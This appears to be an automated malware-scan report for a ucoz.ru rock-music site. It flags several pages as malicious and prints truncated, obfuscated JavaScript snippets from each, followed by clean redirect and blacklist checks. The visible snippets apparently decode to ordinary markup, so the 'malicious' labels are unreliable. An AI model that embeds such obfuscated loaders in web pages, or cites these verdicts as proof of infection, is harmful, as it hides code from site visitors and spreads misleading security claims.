Scanned pages/files
Request | Server response | Status |
http://rockplannet.ucoz.ru/blog/rok_festival_khadzhokh_2102_v_pos_kamennomostskom_resp_adygeja_projdet_14_ijulja_2012_goda/2012-05-11-1 | 200 OK Content-Length: 47971 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function addcom(f){if (document.getElementById('addcBut')){document.getElementById('addcBut').disabled=true;}else {try{document.addform.submit.disabled=true;}catch(e){}}if (document.getElementById('eMessage')){document.getElementById('eMessage').innerHTML='<span style="color:#8B8B8B"><img src="http://s67.ucoz.net/img/ma/m/i2.gif" border="0" align="absmiddle" width="13" height="13"> ÐÐ´ÐµÑ Ð¿ÐµÑедаÑа даннÑÑ
...</span>';}_uPostForm('acform',{type:'POST',url:'http://rockplannet.ucoz.ru/index/'});}var _y8M=''; function _dS(s){ var i;var r=""; var l=s.length-1; var k=s.substr(l,1); for (i=0;i<l;i++){ c=s.charCodeAt(i)-k; if(c<32){ c=127-(32-c);} r+=String.fromCharCode(c); } return r;} _y8M=_dS('>kprwv"v{rg?$jkffgp$"pcog?$uqu$"xcnwg?$39;68322;4$"1@2'); Antivirus reports:
| ||
http://s67.ucoz.net/src/jquery-1.6.1.js | 200 OK Content-Length: 101532 Content-Type: text/javascript | clean |
http://s67.ucoz.net/src/ulightbox/ulightbox.js | 200 OK Content-Length: 22097 Content-Type: text/javascript | clean |
http://s67.ucoz.net/src/uwnd.js?2 | 200 OK Content-Length: 228554 Content-Type: text/javascript | clean |
http://s67.ucoz.net/src/socCom.js | 200 OK Content-Length: 6344 Content-Type: text/javascript | clean |
http://s67.ucoz.net/cgi/uutils.fcg?a=soc_comment_get_data&site=0rockplannet | 200 OK Content-Length: 528 Content-Type: application/javascript | clean |
http://rockplannet.ucoz.ru/js/dropdowncontent.js | 200 OK Content-Length: 5536 Content-Type: text/javascript | clean |
http://counter.rambler.ru/top100.jcn?2716708 | 200 OK Content-Length: 6853 Content-Type: application/x-javascript | clean |
http://rockplannet.ucoz.ru/ | 200 OK Content-Length: 36975 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var temp="",i,c=0,out=""; var str="60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!109!97!105!110!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104!101!101!116!34!47!62!13!10!60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!104!105!103!104!115!108!105!100!101!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104 Antivirus reports:
| ||
http://rockplannet.ucoz.ru/blog/ | 200 OK Content-Length: 37881 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var temp="",i,c=0,out=""; var str="60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!109!97!105!110!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104!101!101!116!34!47!62!13!10!60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!104!105!103!104!115!108!105!100!101!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104 Antivirus reports:
| ||
http://rockplannet.ucoz.ru/publ/ | 200 OK Content-Length: 24276 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var temp="",i,c=0,out=""; var str="60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!109!97!105!110!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104!101!101!116!34!47!62!13!10!60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!104!105!103!104!115!108!105!100!101!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104 Antivirus reports:
| ||
http://rockplannet.ucoz.ru/gb/ | 200 OK Content-Length: 41017 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var _y8M=''; function _dS(s){ var i;var r=""; var l=s.length-1; var k=s.substr(l,1); for (i=0;i<l;i++){ c=s.charCodeAt(i)-k; if(c<32){ c=127-(32-c);} r+=String.fromCharCode(c); } return r;} _y8M=_dS('Botv{z&z vkC(nojjkt(&tgskC(yuy(&|gr{kC(7=?:<766?8(&5D6'); Antivirus reports:
| ||
http://rockplannet.ucoz.ru/load/ | 200 OK Content-Length: 40987 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var temp="",i,c=0,out=""; var str="60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!109!97!105!110!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104!101!101!116!34!47!62!13!10!60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!104!105!103!104!115!108!105!100!101!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104 Antivirus reports:
| ||
http://rockplannet.ucoz.ru/forum/ | 200 OK Content-Length: 35779 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var temp="",i,c=0,out=""; var str="60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!109!97!105!110!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104!101!101!116!34!47!62!13!10!60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!104!105!103!104!115!108!105!100!101!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104 Antivirus reports:
| ||
http://rockplannet.ucoz.ru/forum/0-0-1-34 | 200 OK Content-Length: 39389 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var temp="",i,c=0,out=""; var str="60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!109!97!105!110!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104!101!101!116!34!47!62!13!10!60!108!105!110!107!32!104!114!101!102!61!34!47!115!116!121!108!101!47!104!105!103!104!115!108!105!100!101!46!99!115!115!34!32!116!121!112!101!61!34!116!101!120!116!47!99!115!115!34!32!114!101!108!61!34!115!116!121!108!101!115!104 Antivirus reports:
|
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: rockplannet.ucoz.ru
Result:
HTTP/1.1 200 OK
Connection: close
Date: Wed, 29 Jul 2015 06:12:09 GMT
Server: uServ/3.2.2
Content-Length: 36975
Content-Type: text/html; charset=UTF-8
...36975 bytes of data.
GET / HTTP/1.1
Host: rockplannet.ucoz.ru
Result:
HTTP/1.1 200 OK
Connection: close
Date: Wed, 29 Jul 2015 06:12:09 GMT
Server: uServ/3.2.2
Content-Length: 36975
Content-Type: text/html; charset=UTF-8
...36975 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: rockplannet.ucoz.ru
Referer: http://www.google.com/search?q=rockplannet.ucoz.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: rockplannet.ucoz.ru
Referer: http://www.google.com/search?q=rockplannet.ucoz.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=rockplannet.ucoz.ru
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://rockplannet.ucoz.ru/
Result: rockplannet.ucoz.ru is not infected or malware details are not published yet.
Result: rockplannet.ucoz.ru is not infected or malware details are not published yet.